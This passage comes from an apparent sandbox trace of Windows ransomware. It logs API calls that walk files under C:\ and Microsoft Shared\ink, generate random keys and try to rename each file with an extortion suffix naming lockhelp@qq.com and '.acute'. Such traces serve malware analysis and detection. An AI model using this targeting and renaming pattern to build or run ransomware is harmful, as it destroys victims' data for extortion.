pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.562] CreateFileW (lpFileName="\\\\?\\C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.566] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3264) returned 1 [0272.566] CloseHandle (hObject=0x324) returned 1 [0272.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat")) returned 0x80 [0272.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootsqm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\bootsqm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.566] CreateFileW (lpFileName="\\\\?\\C:\\bootsqm.dat" (normalized: "c:\\bootsqm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.567] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e2fa40 | out: lpNewFilePointer=0x0) returned 1 [0272.567] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e2fa40 | out: lpNewFilePointer=0x0) returned 1 [0272.567] CreateFileW (lpFileName="\\\\?\\C:\\bootsqm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\bootsqm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.567] CloseHandle (hObject=0x324) returned 1 [0272.567] ResetEvent (hEvent=0x2d4) returned 1 [0272.567] SetEvent (hEvent=0x2d8) returned 1 [0272.567] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.569] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=27045) returned 1 [0272.569] CloseHandle (hObject=0x324) returned 1 [0272.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0272.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.569] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.585] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.588] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.598] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.624] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.635] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.635] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=215) returned 1 [0272.635] CloseHandle (hObject=0x32c) returned 1 [0272.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0272.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.635] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.635] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=749) returned 1 [0272.635] CloseHandle (hObject=0x32c) returned 1 [0272.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0272.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.636] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.638] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=749) returned 1 [0272.638] CloseHandle (hObject=0x32c) returned 1 [0272.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0272.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.638] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.638] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2764) returned 1 [0272.638] CloseHandle (hObject=0x32c) returned 1 [0272.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0272.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.638] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.641] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=591) returned 1 [0272.641] CloseHandle (hObject=0x32c) returned 1 [0272.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0272.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.641] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.644] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1166) returned 1 [0272.644] CloseHandle (hObject=0x32c) returned 1 [0272.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml")) returned 0x20 [0272.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.644] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.645] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=207) returned 1 [0272.645] CloseHandle (hObject=0x32c) returned 1 [0272.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml")) returned 0x20 [0272.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.645] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.645] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=46624) returned 1 [0272.645] CloseHandle (hObject=0x32c) returned 1 [0272.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0272.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.645] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.646] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=747280) returned 1 [0272.646] CloseHandle (hObject=0x32c) returned 1 [0272.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat")) returned 0x20 [0272.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.646] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.647] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=815680) returned 1 [0272.647] CloseHandle (hObject=0x32c) returned 1 [0272.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0272.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.647] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.647] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1100368) returned 1 [0272.647] CloseHandle (hObject=0x32c) returned 1 [0272.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0272.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.647] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.648] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3053984) returned 1 [0272.648] CloseHandle (hObject=0x32c) returned 1 [0272.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0x20 [0272.648] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0272.648] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0 [0272.649] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.649] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2227968) returned 1 [0272.649] CloseHandle (hObject=0x32c) returned 1 [0272.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0x20 [0272.649] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0272.649] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0 [0272.649] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.649] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3195696) returned 1 [0272.649] CloseHandle (hObject=0x32c) returned 1 [0272.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0272.649] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft 